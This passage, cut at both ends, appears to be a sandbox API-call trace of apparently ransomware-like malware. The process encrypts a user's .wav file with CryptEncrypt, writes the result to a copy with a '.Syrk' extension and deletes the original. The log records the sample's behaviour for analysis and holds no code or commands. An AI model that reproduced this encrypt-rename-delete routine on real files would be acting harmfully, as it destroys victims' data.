returned 0x20 [0234.681] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0234.682] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav", lpFilePart=0x0) returned 0x50 [0234.682] EtwEventActivityIdControl () returned 0x0 [0234.682] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.683] EtwEventActivityIdControl () returned 0x0 [0234.683] EtwEventActivityIdControl () returned 0x0 [0234.683] EtwEventActivityIdControl () returned 0x0 [0234.684] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0234.684] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav", lpFilePart=0x0) returned 0x50 [0234.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0234.684] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\0ca5darpwbxr.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0234.684] GetFileType (hFile=0x454) returned 0x1 [0234.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0234.685] GetFileType (hFile=0x454) returned 0x1 [0234.685] EtwEventActivityIdControl () returned 0x0 [0234.685] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.685] EtwEventActivityIdControl () returned 0x0 [0234.685] EtwEventActivityIdControl () returned 0x0 [0234.685] EtwEventActivityIdControl () returned 0x0 [0234.686] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x56 [0234.686] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav.Syrk", nBufferLength=0x56, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav.Syrk", lpFilePart=0x0) returned 0x55 [0234.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0234.687] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\0ca5darpwbxr.wav.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0234.688] GetFileType (hFile=0x458) returned 0x1 [0234.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0234.688] GetFileType (hFile=0x458) returned 0x1 [0234.688] EtwEventActivityIdControl () returned 0x0 [0234.689] CryptGenRandom (in: hProv=0x5c4d430, dwLen=0x10, pbBuffer=0x2480ca0 | out: pbBuffer=0x2480ca0) returned 1 [0234.689] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0234.690] CryptDuplicateKey (in: hKey=0x5c994e0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99a20) returned 1 [0234.690] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0234.690] CryptSetKeyParam (hKey=0x5c99a20, dwParam=0x4, pbData=0x2481fcc*=0x1, dwFlags=0x0) returned 1 [0234.690] CryptSetKeyParam (hKey=0x5c99a20, dwParam=0x1, pbData=0x2481f98, dwFlags=0x0) returned 1 [0234.690] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.690] EtwEventActivityIdControl () returned 0x0 [0234.691] EtwEventActivityIdControl () returned 0x0 [0234.691] EtwEventActivityIdControl () returned 0x0 [0234.691] EtwEventActivityIdControl () returned 0x0 [0234.692] ReadFile (in: hFile=0x454, lpBuffer=0x2484c14, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2484c14*, lpNumberOfBytesRead=0x5a2e7d8*=0xe33a, lpOverlapped=0x0) returned 1 [0234.693] CryptEncrypt (in: hKey=0x5c99a20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2498c2c*, pdwDataLen=0x5a2e7cc*=0xe330, dwBufLen=0xe330 | out: pbData=0x2498c2c*, pdwDataLen=0x5a2e7cc*=0xe330) returned 1 [0234.694] WriteFile (in: hFile=0x458, lpBuffer=0x2480d7c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2480d7c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0234.695] WriteFile (in: hFile=0x458, lpBuffer=0x2499c18*, nNumberOfBytesToWrite=0xd344, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2499c18*, lpNumberOfBytesWritten=0x5a2e7b0*=0xd344, lpOverlapped=0x0) returned 1 [0234.696] ReadFile (in: hFile=0x454, lpBuffer=0x2484c14, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2484c14*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0234.696] CryptEncrypt (in: hKey=0x5c99a20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24a6f68*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24a6f68*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0234.696] CryptEncrypt (in: hKey=0x5c99a20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24a6f84*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x24a6f84*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0234.696] WriteFile (in: hFile=0x458, lpBuffer=0x2480d7c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x2480d7c*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0234.697] CloseHandle (hObject=0x458) returned 1 [0234.698] CloseHandle (hObject=0x454) returned 1 [0234.699] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.699] EtwEventActivityIdControl () returned 0x0 [0234.699] EtwEventActivityIdControl () returned 0x0 [0234.699] EtwEventActivityIdControl () returned 0x0 [0234.705] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\0ca5darpwbxr.wav")) returned 0x20 [0234.707] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0234.707] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav", lpFilePart=0x0) returned 0x50 [0234.707] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0234.707] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0234.707] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0234.707] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0234.708] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0234.708] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0234.708] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0234.708] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0234.708] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0234.708] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0234.708] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0234.708] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0234.708] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0234.708] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0234.709] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0234.709] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0234.709] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0234.709] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0234.709] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x23 [0234.709] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x23, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", lpFilePart=0x0) returned 0x22 [0234.709] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0234.709] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0234.710] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0234.710] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", lpFilePart=0x0) returned 0x30 [0234.710] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn")) returned 0x10 [0234.710] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn")) returned 0x10 [0234.710] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0234.710] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn", lpFilePart=0x0) returned 0x3f [0234.710] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\0ca5darpwbxr.wav")) returned 0x20 [0234.710] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0234.710] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav", lpFilePart=0x0) returned 0x50 [0234.712] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0234.713] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav", lpFilePart=0x0) returned 0x50 [0234.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0234.713] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0234.713] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav", lpFilePart=0x0) returned 0x50 [0234.713] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav\\*" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\0ca5darpwbxr.wav\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0234.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0234.713] CoTaskMemAlloc (cb=0x404) returned 0x5c9b950 [0234.713] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9b950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0234.714] CoTaskMemFree (pv=0x5c9b950) [0234.715] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\0ca5darpwbxr.wav")) returned 0x20 [0234.715] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0234.716] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav", lpFilePart=0x0) returned 0x50 [0234.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0234.716] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\0ca5darpwbxr.wav"), fInfoLevelId=0x0, lpFileInformation=0x24b84bc | out: lpFileInformation=0x24b84bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x734fcdb0, ftCreationTime.dwHighDateTime=0x1d99b02, ftLastAccessTime.dwLowDateTime=0x79ffcdb0, ftLastAccessTime.dwHighDateTime=0x1d99c04, ftLastWriteTime.dwLowDateTime=0x79ffcdb0, ftLastWriteTime.dwHighDateTime=0x1d99c04, nFileSizeHigh=0x0, nFileSizeLow=0xe33a)) returned 1 [0234.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0234.716] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\0ca5darpwbxr.wav")) returned 1 [0234.720] EtwEventActivityIdControl () returned 0x0 [0234.720] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.721] EtwEventActivityIdControl () returned 0x0 [0234.721] EtwEventActivityIdControl () returned 0x0 [0234.721] EtwEventActivityIdControl () returned 0x0 [0234.727] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\0ca5darpwbxr.wav.syrk")) returned 0x20 [0234.728] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\0ca5darpwbxr.wav.syrk")) returned 0x20 [0234.728] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x56 [0234.728] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav.Syrk", nBufferLength=0x56, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav.Syrk", lpFilePart=0x0) returned 0x55 [0234.729] EtwEventActivityIdControl () returned 0x0 [0234.729] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.729] EtwEventActivityIdControl () returned 0x0 [0234.729] EtwEventActivityIdControl () returned 0x0 [0234.729] EtwEventActivityIdControl () returned 0x0 [0234.733] EtwEventActivityIdControl () returned 0x0 [0234.733] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.733] EtwEventActivityIdControl () returned 0x0 [0234.733] EtwEventActivityIdControl () returned 0x0 [0234.733] EtwEventActivityIdControl () returned 0x0 [0234.737] EtwEventActivityIdControl () returned 0x0 [0234.737] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.737] EtwEventActivityIdControl () returned 0x0 [0234.737] EtwEventActivityIdControl () returned 0x0 [0234.737] EtwEventActivityIdControl () returned 0x0 [0234.740] EtwEventActivityIdControl () returned 0x0 [0234.740] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.741] EtwEventActivityIdControl () returned 0x0 [0234.741] EtwEventActivityIdControl () returned 0x0 [0234.741] EtwEventActivityIdControl () returned 0x0 [0234.744] EtwEventActivityIdControl () returned 0x0 [0234.744] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.744] EtwEventActivityIdControl () returned 0x0 [0234.744] EtwEventActivityIdControl () returned 0x0 [0234.744] EtwEventActivityIdControl () returned 0x0 [0234.747] EtwEventActivityIdControl () returned 0x0 [0234.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0234.754] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\0cA5darpWBXR.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\0ca5darpwbxr.wav.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24c71ec | out: lpFileInformation=0x24c71ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c07440, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x7c07440, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x7c07440, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xe354)) returned 1 [0234.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0234.755] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e59c | out: lpConsoleScreenBufferInfo=0x5a2e59c) returned 1 [0234.755] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e594 | out: lpMode=0x5a2e594) returned 1 [0234.756] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e588, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e588*=0x2) returned 1 [0234.757] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e540 | out: lpConsoleScreenBufferInfo=0x5a2e540) returned 1 [0234.757] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0234.757] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0234.757] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0234.758] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e5a4 | out: lpConsoleScreenBufferInfo=0x5a2e5a4) returned 1 [0234.758] GetConsoleOutputCP () returned 0x1b5 [0234.759] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e314, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e314) returned 0 [0234.759] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e3f4 | out: lpConsoleScreenBufferInfo=0x5a2e3f4) returned 1 [0234.759] 